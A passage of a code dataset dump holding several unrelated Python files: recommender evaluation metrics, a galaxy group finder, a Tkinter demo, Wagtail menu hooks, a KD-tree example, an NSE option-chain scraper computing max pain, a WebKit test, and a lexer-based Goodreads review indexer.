ndcgs10, precisions10, mean_aps10, mrrs10, k, map_item_score, gtItem)\n\t\t\tif k == 15:\n\t\t\t\thits15, ndcgs15, precisions15, mean_aps15, mrrs15 = eval_rank(hits15, ndcgs15, precisions15, mean_aps15, mrrs15, k, map_item_score, gtItem)\n\treturn hits5, ndcgs5, precisions5, mean_aps5, mrrs5, hits10, ndcgs10, precisions10, mean_aps10, mrrs10, hits15, ndcgs15, precisions15, mean_aps15, mrrs15\n\ndef eval_rank(hits, ndcgs, precisions, mean_aps, mrrs, k, map_item_score, gtItem):\n\tranklist = heapq.nlargest(k, map_item_score, key=map_item_score.get)\n\thr = getHitRatio(ranklist, gtItem)\n\tndcg = getNDCG(ranklist, gtItem)\n\tprecision = getHitRatio(ranklist, gtItem) / k\n\tmean_ap = get_MAP(ranklist, gtItem)\n\tmrr = get_MRR(ranklist, gtItem)\n\thits.append(hr)\n\tndcgs.append(ndcg) \n\tprecisions.append(precision)\n\tmean_aps.append(mean_ap)\n\tmrrs.append(mrr)\n\treturn hits, ndcgs, precisions, mean_aps, mrrs \n\ndef getHitRatio(ranklist, gtItem):\n\tfor item in ranklist:\n\t\tif item == gtItem:\n\t\t\treturn 1\n\treturn 0\n\ndef getNDCG(ranklist, gtItem):\n\tfor i in range(len(ranklist)):\n\t\titem = ranklist[i]\n\t\tif item == gtItem:\n\t\t\treturn math.log(2) / math.log(i+2)\n\treturn 0\n\ndef get_MAP(ranklist, gtItem):\n\tprecision = 0\n\tfor i in range(len(ranklist)):\n\t\tprecision += getHitRatio(ranklist[:(i+1)], gtItem) / (i+1)\n\treturn precision / len(ranklist)\n\ndef get_MRR(ranklist, gtItem):\n\tfor i in range(len(ranklist)):\n\t\titem = ranklist[i]\n\t\tif item == gtItem:\n\t\t\treturn 1 / (i+1)\n\treturn 0\n\nif __name__ == \"__main__\":\n\tos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\tsource_path = './Data/common_movies'\n\ttarget_path = './Data/common_office'\n\ttopK_list = [5, 10, 15]\n\tnum_factor = 16\n\tfactor_layers = [128, 64, 32, 16]\n\tlearn_rate = 0.001\n\tdecay_rate = 0.96\n\tdecay_steps = 30000\n\tbatch_size = 256\n\tepochs = 200\n\tnum_negatives = 2\n\tregularizer_rate = 0.0001\n\tsource_gama = 0.4\n\tgan_gama = 0.5\n\tgamma = 10.0\n\n\tfirTime = time()\n\tdataset = Dataset(source_path, target_path)\n\tsource_trainDict, source_num_users, source_num_items, source_testRatings, source_testNegatives = dataset.source_user_ratingdict, dataset.source_user_num, dataset.source_item_num, dataset.source_testRatings, dataset.source_testNegatives\n\ttarget_trainDict, target_num_users, target_num_items, target_testRatings, target_testNegatives = dataset.target_user_ratingdict, dataset.target_user_num, dataset.target_item_num, dataset.target_testRatings, dataset.target_testNegatives\n\tsecTime = time()\n\n\tprint(\"train_user_grl load data time: %.2fs\"%(secTime - firTime))\n\tprint(\"Source user num: \", source_num_users)\n\tprint(\"Source item num: \", source_num_items)\n\tprint(\"Target user num: \", target_num_users)\n\tprint(\"Target item num: \", target_num_items)\n\n\ttrain_model()\n","sub_path":"DAAN.py","file_name":"DAAN.py","file_ext":"py","file_size_in_byte":26713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"501658317","text":"import numpy as np\nfrom itertools import chain\nfrom functools import partial\nfrom statistics import mode, StatisticsError\n\nimport sys\nsys.path.append('/scratch/Documents/Conformity2019/')\nimport my_functions as mf\nimport cosmic_distances as cosmo\nimport two_point_tools as tp\nfrom galaxy_sample import pair_list,fof_group_finder,Group\n\n#spacing = (0.116,2000)\n\nclass multirun_group_finder(fof_group_finder):\n \n @staticmethod\n def LenFilter(groups,filter_func):\n return (group for group in groups.values() if filter_func(group))\n \n def format_params(self,lp_list,lz_list):\n \n P = np.array([lp_list,lz_list]).T\n \n Params = (\n ( partial( self.LenFilter, filter_func=lambda x: 100<=len(x) ), *P[0] ),\n ( partial( self.LenFilter, filter_func=lambda x: 50<=len(x)<100), *P[1] ),\n ( partial( self.LenFilter, filter_func=lambda x: 10<=len(x)<50 ), *P[2] ),\n ( partial( self.LenFilter, filter_func=lambda x: 5<=len(x)<10 ), *P[3] ),\n ( partial( self.LenFilter, filter_func=lambda x: len(x)==4 ), *P[4] ),\n ( partial( self.LenFilter, filter_func=lambda x: len(x)==3 ), *P[5] ),\n ( partial( self.LenFilter, filter_func=lambda x: len(x)==2 ), *P[6] )\n )\n \n return Params\n \n def multirun(self,lp_list,lz_list):\n \"\"\"\n params: tuple of param, with each param being (filter, l_p,l_z)\n filter: boolean function, with filter(group) returning True for groups to keep on that run\n\n pseudocode for multirun\n initialize 'already-grouped galaxies' with zeros\n for filter,param in params:\n run link_pairs with param\n knock out pairs which contain already-grouped galaxies\n form group from remaining pairs\n collect groups with filter(group)==True, and update already-grouped galaxies\n \"\"\"\n params = self.format_params(lp_list,lz_list)\n \n multirun_groups = []\n grouped = np.zeros(self.sample.count).astype('bool')\n\n for f,l_p,l_z in params:\n P = self.link_pairs(l_p,l_z)\n contains_grouped = np.any(grouped[P.pairs],axis=1)\n P = P.select( np.logical_not(contains_grouped) )\n\n groupIDs,groups = self.merge_links(P)\n\n for group_members in f(groups):\n #grouped[ group.members ] = True\n grouped[ group_members ] = True\n multirun_groups.append( group_members )\n\n groupIDs = -np.ones(self.sample.count,).astype('int')\n multirun_groups = {GrNr:group for GrNr,group in enumerate(multirun_groups)}\n for GrNr,group in multirun_groups.items():\n #group.id = GrNr\n #groupIDs[ group.members ] = GrNr\n groupIDs[ group ] = GrNr\n\n SingletonIndex = np.arange(self.sample.count,)[groupIDs==-1]\n for gn, idx in zip(range(GrNr+1, GrNr+1+np.sum(groupIDs==-1)), SingletonIndex):\n groupIDs[idx] = gn\n #multirun_groups[gn] = Group(self,gn,idx)\n multirun_groups[gn] = [idx]\n\n return groupIDs,multirun_groups","sub_path":"galaxy_sample/multirun_group_finder.py","file_name":"multirun_group_finder.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"57866929","text":"from tkinter import *\nfrom tkinter import messagebox\nmain=Tk()\nmain.geometry(\"250x250\")\ndef hello(event):\n msg=messagebox.showinfo(\"hello pyt\",\"message from m1\")\ndef hello2(event):\n second=Tk()\n Label(second,text=\"center button\").place(x=50,y=50)\ndef hello3(event):\n second=Tk()\n Label(second,text=\"double click\").pack()\ndef hello4(event):\n second=Tk()\n Label(second,text=\"emter in to box\").pack()\nb1=Button(main,text=\"first\")\nb2=Button(main,text=\"second\")\nb1.bind('',hello)\nb1.bind('',hello2)\nb1.bind('',hello3)\nb1.bind('',hello4)\nb1.place(x=20,y=40)\n","sub_path":"Tk Inter Module/EVENTS.py","file_name":"EVENTS.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94641071","text":"from django.conf.urls import url\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom wagtail.contrib.modeladmin.options import ModelAdmin, modeladmin_register\nfrom wagtail.wagtailcore import hooks\n\nfrom .app_settings import (\n MAINMENU_MENU_ICON, FLATMENU_MENU_ICON, SECTION_ROOT_DEPTH)\nfrom .models import MainMenu, FlatMenu\nfrom .views import MainMenuIndexView, MainMenuEditView\n\n\nclass MainMenuAdmin(ModelAdmin):\n model = MainMenu\n menu_label = _('Main menu')\n menu_icon = MAINMENU_MENU_ICON\n index_view_class = MainMenuIndexView\n edit_view_class = MainMenuEditView\n add_to_settings_menu = True\n\n def get_admin_urls_for_registration(self):\n return (\n url(self.url_helper.get_action_url_pattern('index'),\n self.index_view,\n name=self.url_helper.get_action_url_name('index')),\n url(self.url_helper.get_action_url_pattern('edit'),\n self.edit_view,\n name=self.url_helper.get_action_url_name('edit')),\n )\n\n\nclass FlatMenuAdmin(ModelAdmin):\n model = FlatMenu\n menu_label = _('Flat menus')\n menu_icon = FLATMENU_MENU_ICON\n list_display = ('title', 'handle', )\n list_filter = ('site', )\n add_to_settings_menu = True\n\nmodeladmin_register(MainMenuAdmin)\nmodeladmin_register(FlatMenuAdmin)\n\n\n@hooks.register('before_serve_page')\ndef wagtailmenu_params_helper(page, request, serve_args, serve_kwargs):\n section_root = request.site.root_page.get_descendants().ancestor_of(\n page, inclusive=True).filter(depth__exact=SECTION_ROOT_DEPTH).first()\n if section_root:\n section_root = section_root.specific\n ancestor_ids = page.get_ancestors().values_list('id', flat=True)\n request.META.update({\n 'CURRENT_SECTION_ROOT': section_root,\n 'CURRENT_PAGE_ANCESTOR_IDS': ancestor_ids,\n })\n","sub_path":"wagtailmenus/wagtail_hooks.py","file_name":"wagtail_hooks.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332328544","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom scipy.spatial import KDTree\n\nPOINTS = [[2, 0], [3, 7], [-3, -5]]\n\ndef main():\n ars = np.array(POINTS)\n tree = KDTree(ars)\n print(tree.data)\n query_points = np.array([[4, 2], [-2, 8], [-3, -9], [5, -1]])\n ret = tree.query(query_points)\n print(ret)\n for i in range(query_points.shape[0]):\n dist = ret[0][i]\n nearest_point_index = ret[1][i]\n print(\"Query point: {}, nearest neighbor: {}, dist: {}\".format(\n query_points[i], tree.data[nearest_point_index], dist))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"code/kdtree/kdtree.py","file_name":"kdtree.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364287138","text":"# About the code\r\n#This code can be used to extract the option table of all the listed stocks on NSE.\r\n#This will prepare the bar graphs suggesting max pain point.\r\n\r\nimport time\r\nsta = time.clock()\r\nimport os\r\nimport requests\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\nimport matplotlib.pyplot as plt\r\nimport re\r\nimport datetime\r\n\r\ndate = str(datetime.datetime.now()).split(' ')[0]\r\n'''\r\ntry:\r\n Name = raw_input(\"Name of the stock \")\r\n Base_url =(\"https://www.nseindia.com/live_market/dynaContent/\"+\r\n \"live_watch/option_chain/optionKeys.jsp?symbolCode=2772&symbol=\" + Name+\"&\"+\r\n \"symbol=\"+Name+\"&instrument=OPTSTK&date=-&segmentLink=17&segmentLink=17\")\r\nexcept:\r\n Base_url =(\"https://www.nseindia.com/live_market/dynaContent/\"+\r\n \"live_watch/option_chain/optionKeys.jsp?symbolCode=2772&symbol=UBL&\"+\r\n \"symbol=UBL&instrument=OPTSTK&date=-&segmentLink=17&segmentLink=17\")\r\n\r\nName = \"ubl\"\r\nBase_url =(\"https://www.nseindia.com/live_market/dynaContent/\"+\r\n \"live_watch/option_chain/optionKeys.jsp?symbolCode=2772&symbol=UBL&\"+\r\n \"symbol=UBL&instrument=OPTSTK&date=-&segmentLink=17&segmentLink=17\")\r\n'''\r\ndata_code = pd.read_excel(\"Code.xlsx\")\r\nS_LTP = []; MTP=[]; pcr = []; diff= [];Stk = [];Buy = []; Sell = []; Watch_out = []\r\ndfmxc = [] ; dfmxp = []; conf = []; opr = []; comment = []\r\n\r\nslp = 0\r\nfor Name in data_code['Code']:\r\n print (Name)\r\n\r\n\r\n #Name = raw_input(\"Name of the stock \")\r\n Base_url = \"https://nseindia.com/live_market/dynaContent/live_watch/option_chain/optionKeys.jsp?symbolCode=797&symbol=\"+Name+\"&symbol=\"+Name+\"&instrument=OPTSTK&date=-&segmentLink=17&segmentLink=17\"\r\n\r\n if Name is '':\r\n Base_url = \"https://nseindia.com/live_market/dynaContent/live_watch/option_chain/optionKeys.jsp?symbolCode=797&symbol=pnb&symbol=pnb&instrument=OPTSTK&date=-&segmentLink=17&segmentLink=17\"\r\n Name = 'pnb'\r\n\r\n page = requests.get(Base_url)\r\n page.status_code\r\n page.content\r\n\r\n for line in page:\r\n if Name.encode() in line:\r\n print (Name, \"Name\")\r\n LTP = re.findall(\">{} ([0-9.]+)\".format(Name),line.decode())\r\n try:\r\n LTP = float(LTP[0])\r\n except:\r\n continue\r\n break\r\n\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n #print(soup.prettify())\r\n\r\n table_it = soup.find_all(class_=\"opttbldata\")\r\n table_cls_1 = soup.find_all(id=\"octable\")\r\n\r\n col_list = []\r\n\r\n # The code given below will pull the headers of the Option Chain table\r\n for mytable in table_cls_1:\r\n table_head = mytable.find('thead')\r\n\r\n try:\r\n rows = table_head.find_all('tr')\r\n for tr in rows:\r\n cols = tr.find_all('th')\r\n for th in cols:\r\n er = th.text\r\n ee = er.encode('utf8')\r\n col_list.append(ee)\r\n\r\n except:\r\n print (\"no thead\")\r\n\r\n\r\n col_list_fnl = [e for e in col_list if e not in ('CALLS','PUTS','Chart','\\xc2\\xa0')]\r\n\r\n #print col_list_fnl jetairways\r\n\r\n table_cls_2 = soup.find(id=\"octable\")\r\n try:\t\r\n\t all_trs = table_cls_2.find_all('tr')\r\n\t req_row = table_cls_2.find_all('tr')\r\n except:\r\n\t continue\t\t\r\n\r\n new_table = pd.DataFrame(index=range(0,len(req_row)-3) , columns=col_list_fnl)\r\n\r\n row_marker = 0\r\n\r\n for row_number, tr_nos in enumerate(req_row):\r\n\r\n # This ensures that we use only the rows with values\r\n if row_number <=1 or row_number == len(req_row)-1:\r\n continue\r\n\r\n td_columns = tr_nos.find_all('td')\r\n\r\n # This removes the graphs columns\r\n select_cols = td_columns[1:22]\r\n cols_horizontal = range(0,len(select_cols))\r\n\r\n for nu, column in enumerate(select_cols):\r\n\r\n utf_string = column.get_text()\r\n utf_string = utf_string.strip('\\n\\r\\t\": ')\r\n tr = utf_string.encode('utf8')\r\n # print (tr)\r\n # time.sleep(1)\r\n tr = tr.decode('utf8')\r\n tr = tr.replace(',' , '')\r\n # print (tr)\r\n # time.sleep(2)\r\n # new_table.ix[row_marker,[nu]]= tr\r\n new_table.iloc[row_marker,[nu]]= tr\r\n\r\n row_marker += 1\r\n\r\n #print new_table\r\n # fil = \"/home/kvv/Dropbox/Stock Investment/Coding/Excel/{}.xlsx\".format(Name)\r\n # fil = \"C:\\\\Users\\\\iitb_student\\\\Dropbox\\\\Stock_Investment\\\\Coding\\\\Analysis\\\\Excel\\\\{}.xlsx\".format(Name)\r\n# fil = Name + 'Option_Chain_Table.xlsx'\r\n\r\n\r\n fil = os.getcwd()\r\n if \"\\\\\" in fil:\r\n fil = fil + \"\\\\Excel\\\\\"\r\n if not os.path.exists(fil):\r\n os.makedirs(fil)\r\n fil = fil + \"{}.csv\".format(Name)\r\n else:\r\n fil = fil + \"/Excel/\"\r\n if not os.path.exists(fil):\r\n os.makedirs(fil)\r\n fil = fil + \"{}.csv\".format(Name)\r\n\r\n new_table.to_csv(fil)\r\n newdata = pd.read_csv(fil)\r\n newdata = newdata.fillna(0)\r\n newdata = newdata.replace('-',0)\r\n try:\r\n newdata['Help'] = newdata['Strike Price'] - newdata['Strike Price'][0]\r\n except:\r\n continue\r\n newdata['CALL'] = pd.to_numeric(newdata['OI'])\r\n newdata['PUT'] = pd.to_numeric(newdata['OI.1'])\r\n\r\n a=1\r\n cumc = [0] ; cump= [0]\r\n nos = len(newdata['Strike Price'])\r\n while a < len(newdata['Strike Price']):\r\n temp = 0\r\n temp1 = 0\r\n for i in range(a):\r\n for j in range(a,a+1):\r\n # print (i,j-i,newdata['CALL'][i] , newdata['Help'][j],a)\r\n temp = float(newdata['CALL'][i]) * newdata['Help'][j-i] + temp\r\n temp1 = float(newdata['PUT'][nos-i-1]) * newdata['Help'][j-i] + temp1\r\n cumc.append(temp)\r\n cump.append(temp1)\r\n a+=1\r\n\r\n newdata[\"CUM_Call\"] = cumc\r\n newdata[\"CUM_Put\"] = cump[::-1]\r\n newdata['TV'] = newdata[\"CUM_Call\"] + newdata[\"CUM_Put\"]\r\n Exp = newdata[newdata[\"TV\"] == min(newdata['TV'])][\"Strike Price\"].describe()[1]\r\n try:\r\n\t PCR = sum(newdata['PUT'])/float(sum(newdata['CALL']))\r\n except:\r\n \tPCR = 1\r\n gi = pd.Index(newdata['TV']).get_loc(min(newdata['TV']))\r\n try:\r\n int(gi)\r\n except:\r\n continue\r\n for i in range(gi-1,gi+1):\r\n # print # newdata['TV'][i]\r\n try:\r\n print (int(newdata['Strike Price'][i]), round((newdata['TV'][i]-newdata['TV'][gi])/newdata['TV'][gi]*100,3))\r\n except:\r\n\t print (\"Error\")\r\n\r\n check = pd.DataFrame()\r\n check['Strike Price'] = newdata['Strike Price']\r\n check['Call'] = newdata['CALL']\r\n check['Put'] = newdata['PUT']\r\n check['CUM_Call'] = newdata['CUM_Call']\r\n check['CUM_Put'] = newdata['CUM_Put']\r\n check['TV'] = newdata['TV']\r\n S_LTP.append(LTP)\r\n MTP.append(Exp)\r\n pcr.append(PCR)\r\n temp2 = (Exp-LTP)/LTP*100\r\n diff.append(temp2)\r\n Stk.append(Name)\r\n\r\n fig, max_pain = plt.subplots()\r\n max_pain.bar(newdata['Strike Price'],newdata['TV'])\r\n plt.xticks(newdata['Strike Price'],rotation=90)\r\n try:\r\n title = \"{}, 68 % chances {}; PCR {}; LTP {}; Diff {}\".format(Name.upper(),Exp,round(PCR,1),LTP,round(temp2,1))\r\n except:\r\n title = \"{}, 68 % chances {}; PCR {}; LTP {}\".format(Name.upper(),Exp,round(PCR,1),LTP)\r\n\r\n plt.title(title)\r\n\r\n path = os.getcwd()\r\n if \"\\\\\" in path:\r\n path = path + \"\\\\Graphs\\\\\"\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n path = path + \"{}_{}.png\".format(Name,date)\r\n else:\r\n path = path + \"/Graphs/\"\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n path = path + \"{}_{}.png\".format(Name,date)\r\n\r\n\r\n plt.savefig(path)\r\n\r\n print (\"There is 68 % chances that the stocks will expire at \",Exp)\r\n\r\n print (\"PCR value\",PCR)\r\n\r\n if PCR>1.3:\r\n print (\"====================================================\\n\")\r\n print (\"Bullish reversal might come in place\",PCR,Name)\r\n print (\"Stock might go up\")\r\n print (\"====================================================\\n\")\r\n\r\n elif PCR < 0.5:\r\n print (\"====================================================\\n\")\r\n print (\"Bearish reversal might kick off\",PCR, Name)\r\n print (\"Stock might go down\")\r\n print (\"====================================================\\n\")\r\n\r\n if PCR > 1.3:\r\n Buy.append((Name,PCR,Exp,LTP,diff))\r\n if PCR < 0.5 :\r\n Sell.append((Name,PCR,Exp,LTP,diff))\r\n\r\n if temp2 > 5 or temp2 <-5:\r\n Watch_out.append((Name,PCR,Exp,LTP,diff))\r\n try:\r\n MxP = newdata['Strike Price'][pd.Index(newdata['PUT']).get_loc(max(newdata['PUT']))]\r\n float(MxP)\r\n except:\r\n MxP = newdata['Strike Price'][pd.Index(newdata['PUT']).get_loc(max(newdata['PUT']))]\r\n MxP = MxP.describe()[3]\r\n try:\r\n MxC = newdata['Strike Price'][pd.Index(newdata['CALL']).get_loc(max(newdata['CALL']))]\r\n float(MxC)\r\n except:\r\n MxC = newdata['Strike Price'][pd.Index(newdata['CALL']).get_loc(max(newdata['CALL']))]\r\n MxC = MxC.describe()[7]\r\n\r\n print (\"Max put is at {} strike price; OI: {}\".format(MxP,max(newdata['PUT'])))\r\n print (\"Max call is at {} strike price; OI: {}\".format(MxC,max(newdata['CALL'])))\r\n\r\n print (\"Range for the {} is {} to {}\".format(Name,MxP,MxC))\r\n\r\n MxC1 = float(max(newdata['CALL']))\r\n MxP1 = float(max(newdata['PUT']))\r\n\r\n\r\n dfmxc.append(MxC)\r\n dfmxp.append(MxP)\r\n try:\r\n\t conf.append((MxC1-MxP1)/MxP1*100)\r\n except:\r\n \tconf.append(0)\r\n\r\n if LTP > MxC or LTP < MxP:\r\n print (\"+++++++++BOOOOOMMMMMMMMMMMM+++++++++++++\")\r\n try:\r\n\t opr.append((Name,LTP,Exp,MxP,MxC,(MxC1-MxP1)/MxP1*100))\r\n except:\r\n opr.append((Name,LTP,Exp,MxP,MxC,0))\r\n pd.DataFrame(opr).to_excel(\"Fortune_{}.xlsx\".format(date))\r\n comment.append(1)\r\n else:\r\n comment.append(0)\r\n slp+=1\r\n if slp%100==0:\r\n print (\"+++++++++++++++++++ Resting a bit.......................\")\r\n time.sleep(3)\r\n\r\nfn = pd.DataFrame()\r\n\r\nfn[\"Stock\"] = Stk\r\nfn[\"PCR\"] = pcr\r\nfn[\"LTP\"] = S_LTP\r\nfn[\"MTP\"] = MTP\r\nfn[\"Diff\"] = diff\r\nfn[\"Lower\"] = dfmxp\r\nfn[\"Upper\"] = dfmxc\r\nfn[\"Confidence\"] = conf\r\nfn[\"Comment\"] = comment\r\n\r\nfn.to_excel(\"Theory_{}.xlsx\".format(date))\r\n\r\nprint (\"Time taken {}\".format(time.clock()-sta))\r\nprint (\"Fortune making companies found\", sum(comment))\r\n\r\n","sub_path":"NSE_Webm.py","file_name":"NSE_Webm.py","file_ext":"py","file_size_in_byte":10498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"553242856","text":"from PyObjCTools.TestSupport import *\nfrom WebKit import *\n\n\nclass TestWKSnapshotConfiguration(TestCase):\n @onlyOn64Bit\n @min_os_level(\"10.15\")\n def testMethods(self):\n self.assertResultIsBOOL(WKSnapshotConfiguration.afterScreenUpdates)\n self.assertArgIsBOOL(WKSnapshotConfiguration.setAfterScreenUpdates_, 0)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"pyobjc-framework-WebKit/PyObjCTest/test_wksnapshotconfiguration.py","file_name":"test_wksnapshotconfiguration.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"53306628","text":"import ply.lex as lex\nimport re\nimport json\nfrom bs4 import BeautifulSoup\n\nimport requests\nimport sys\nimport nltk\n# nltk.download('stopwords')\nfrom nltk.corpus import stopwords\nfrom nltk.corpus import brown\nfrom tokenWords import tag\nfrom nltk.stem import PorterStemmer\n\n\n# INIT-----------\n# STOPWORDS\n\nstop_words = set(stopwords.words('spanish'))\n\n\nps = PorterStemmer()\n\n\ntokens = ['WORD', \"PUNCTUATION\", \"DIGIT\", 'NUMBER', \"LETTER\"]\n\nreservadas = {\n 'begin': 'BEGIN'\n}\n\nt_WORD = r'[a-zA-Z]'\nt_DIGIT = r'\\d'\nt_PUNCTUATION = r'\\W'\n\n\ndef t_NUMBER(t):\n r'\\d+'\n t.value = int(t.value)\n return t\n\n\ndef t_LETTER(t):\n r'[a-zA-Z_][a-zA-Z_0-9]*'\n if t.value.upper() in reservadas:\n t_value = t.value.upper()\n t.type = t.value\n return t\n\n# Define a rule so we can track line numbers\n\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\n\n# A string containing ignored characters (spaces and tabs)\nt_ignore = ' \\t'\n\n# Error handling rule\n\n\ndef t_error(t):\n # print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n\n\nlexer = lex.lex()\n\n\n# Tokenize\ndef stemming(input):\n stem = ''\n try:\n stem = ps.stem(input.value)\n except:\n stem = ps.stem(input)\n return stem\n\n\ndef tokeneize(inp):\n lexer.input(inp.lower())\n tokenList = list()\n for index in range(0, lexer.lexlen):\n try:\n tok = lexer.token()\n if not tok:\n break # No more input\n if tok.type != \"PUNCTUATION\":\n tok.type = tag(str(tok.value))\n if tok.value not in stop_words:\n tok.value = stemming(tok.value)\n tokenList.append(tok)\n # print(\"{} : {} => Linea {}\".format(\n # str(tok.value), tok.type, str(tok.lineno)))\n\n except AttributeError:\n\n pass\n return tokenList\n\n\ndef get_user_tokens(input, log = False):\n userTokens = list()\n for token in tokeneize(input):\n contains = find_token(token, userTokens)\n if((type(contains) != int)):\n userTokens.append({\n \"value\": token.value,\n \"count\": 1,\n \"type\": token.type,\n # \"page\": token.lineno,\n })\n else:\n try:\n # print(\"Ya estaba\")\n # print(userTokens[contains])\n userTokens[contains][\"count\"] += 1\n pass\n except ValueError:\n print(\"No exite, no hay\")\n pass\n\n if(log):\n print(\"\\nIndexador del input de usuario:\")\n for word in userTokens:\n print(word)\n print(\"\\n\")\n return userTokens\n\n\ndef get_books_tokens(input, log= False):\n # print(input)\n dbToken = list()\n # print(tokeneize(input))\n for token in tokeneize(input):\n\n contains = find_token(token, dbToken)\n if((type(contains) != int)):\n dbToken.append({\n \"value\": token.value,\n \"count\": 1,\n \"type\": token.type,\n \"page\": token.lineno,\n })\n else:\n try:\n # print(\"Ya estaba\")\n # print(dbToken[contains])\n dbToken[contains][\"count\"] += 1\n pass\n except ValueError:\n print(\"No exite, no hay\")\n pass\n if(log):\n print(\"\\nIndexador del texto:\")\n print(dbToken)\n print(\"\\n\")\n return dbToken\n\n\n# def get_book_indexer(lista):\n# dbToken = list()\n# for token in tokeneize(lista):\n# contains = find_token(token, dbToken)\n# if((type(contains) != int)):\n# dbToken.append({\n# \"value\": token.value,\n# \"count\": 1,\n# \"type\": token.type,\n# \"page\": token.lineno,\n# \"books\": []\n# })\n# else:\n# try:\n# # print(\"Ya estaba\")\n# # print(dbToken[contains])\n# dbToken[contains][\"count\"] += 1\n# pass\n# except ValueError:\n# print(\"No exite, no hay\")\n# pass\n\n# # print(dbToken)\n# return dbToken\n\n\ndef compareIndexers(indx1, indx2):\n empate = list()\n for token in indx1:\n contains = find_token(token, indx2)\n if((type(contains) != int)):\n pass\n else:\n empate.append(token)\n # print(\"Token empatado {}\".format(token[\"value\"]))\n return empate\n\n\ndef find_token(token, token_list):\n contains = False\n for (index, t) in enumerate(token_list):\n try:\n if(token.value == t[\"value\"]):\n # print(\"Contiene\")\n contains = index\n break\n except AttributeError:\n if(token[\"value\"] == t[\"value\"]):\n # print(\"Contiene\")\n contains = index\n break\n # print(contains)\n return contains\n\n\ndef get_book_id(title):\n r = requests.get(\n f'https://www.goodreads.com/book/title.xml?key={key}&title={title}')\n soup = BeautifulSoup(r.text, 'xml')\n id = soup.book.id.contents[0]\n return id\n\n\ndef get_book_widget(id):\n r = requests.get(f'https://www.goodreads.com/book/show/{id}.xml?key={key}')\n soup = BeautifulSoup(r.text, 'xml')\n review_widget = BeautifulSoup(soup.book.reviews_widget.contents[0], 'lxml')\n return review_widget\n\n\ndef get_book_reviews(review_widget):\n r = requests.get(review_widget.iframe['src'])\n soup = BeautifulSoup(r.text, 'xml')\n reviews = soup.find_all('div', class_='gr_review_text')\n return reviews\n\ndef sortBook(book):\n return book[\"count\"]\n\ndef add_indexed_books(new_books, books):\n\n \n for new_book in new_books:\n contains_book = -1\n for (current_id, current_book) in enumerate(books):\n if(new_book[\"title\"] == current_book[\"title\"]):\n contains_book = current_id\n books[current_id][\"count\"] += new_book[\"count\"]\n else:\n pass \n if(contains_book == -1):\n books.append(new_book)\n return books\n\ndef get_books_from_indexer(user_tokens, indexer):\n books = list()\n # user_token is type:\n #\n # {\"value\": \"palabra\",\n # \"count\": 1,\n # \"type\": \"ADV\",\n # \"page\": 3,}\n #\n # word_token is type:\n # \n # 'word': word,\n # 'books': [{\n # 'title': book[\"title\"],\n # 'genre': book[\"genre\"],\n # 'count': 1\n # }]\n # \n\n for user_token in user_tokens:\n for word_index in indexer:\n if(user_token[\"value\"] == word_index[\"word\"]):\n books = add_indexed_books(word_index[\"books\"], books)\n return books\n\ndef add_to_indexer(word, book, indexer):\n contains_word = -1\n for (token_index, token) in enumerate(indexer):\n\n try:\n if(token[\"word\"] == word):\n contains_word = token_index\n contains_book = -1\n for (index, token_book) in enumerate(token[\"books\"]):\n if(token_book[\"title\"] == book[\"title\"]):\n # Ya existia\n contains_book = index\n indexer[token_index][\"books\"][index][\"count\"] += 1\n # indexer[index] += 1\n else:\n pass\n if(contains_book == -1):\n # print(\"Se agrego libro: {} -> {}\".format(book[\"title\"], word))\n indexer[token_index][\"books\"].append({\n 'title': book[\"title\"],\n 'genre': book[\"genre\"],\n 'count': 1\n })\n else:\n pass\n except TypeError as error:\n\n print(error)\n pass\n if(contains_word == -1):\n indexer.append({\n 'word': word,\n 'books': [{\n 'title': book[\"title\"],\n 'genre': book[\"genre\"],\n 'count': 1\n }]\n })\n\n return indexer\n\n\ndef build_book_indexer():\n indexer = list()\n # {'word' : \"bla\", books : [\n # {\n # 'title' : \"harry potter\",\n # 'count' : 6\n # },\n # {\n # 'title' : \"hunger games\",\n # 'count' : 8\n # }\n # ]}\n docs = get_docs()\n for doc in docs:\n book = doc.to_dict()\n for i in range(0, book[\"tokenListCount\"]):\n try:\n if(book[str(i)]):\n for word in book[str(i)]:\n if(word):\n try:\n indexer = add_to_indexer(word[\"value\"],\n {'title': book[\"title\"], 'genre': book[\"genre\"]}, indexer)\n except ValueError as value_error:\n print(value_error)\n pass\n\n except KeyError:\n pass\n # print(indexer)\n return indexer\n\n\ndef upload_book_tokens(file_name):\n with open('{}.json'.format(file_name)) as json_data:\n data = json.load(json_data)\n\n for genre, books in data.items():\n for book in books:\n reviews_token_list = list()\n # print(genre, book)\n id = get_book_id(book)\n widget = get_book_widget(id)\n reviews = get_book_reviews(widget)\n # ref = db.collection('books').add({\n # 'genre': genre,\n # 'title': book,\n # })\n for review in reviews:\n raw = BeautifulSoup(str(review), 'xml')\n dbTokens = get_books_tokens(raw.get_text())\n reviews_token_list.append(dbTokens)\n\n # print(book)\n # print(reviews_token_list)\n # print(\"\")\n add_tokens({'genre': genre,\n 'title': book,\n 'tokenListCount': len(reviews_token_list)\n },\n reviews_token_list)\n\ndef print_books(books):\n for book in books:\n print(\"{} <<{}>> : 